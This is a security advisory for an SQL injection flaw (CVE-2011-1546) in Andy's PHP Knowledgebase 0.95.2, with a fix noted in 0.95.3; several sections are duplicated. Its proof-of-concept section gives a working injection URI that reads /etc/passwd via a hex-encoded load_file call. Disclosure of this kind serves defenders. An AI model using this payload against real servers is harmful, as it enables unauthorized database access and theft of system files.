Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
BID:47097
Info
Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 47097 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-1546 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 30 2011 12:00AM |
| Updated: | Mar 30 2011 12:00AM |
| Credit: | Mark Stanislav |
| Vulnerable: |
aphpkb aphpkb 0.95.2 |
| Not Vulnerable: |
aphpkb aphpkb 0.95.3 |
Discussion
Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
Andy's PHP Knowledgebase is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Andy's PHP Knowledgebase 0.95.2 is vulnerable; other versions may also be affected.
Andy's PHP Knowledgebase is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Andy's PHP Knowledgebase 0.95.2 is vulnerable; other versions may also be affected.
Exploit / POC
Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f706173737764),null,null,null,null,null,null%20limit%200
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f706173737764),null,null,null,null,null,null%20limit%200
Solution / Fix
Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
Solution:
Updates are available. Please contact the vendor for more information.
Solution:
Updates are available. Please contact the vendor for more information.
References
Andy's PHP Knowledgebase 's' Parameter SQL Injection Vulnerability
References:
References:
- Andy's PHP Knowledgebase Homepage (aphpkb)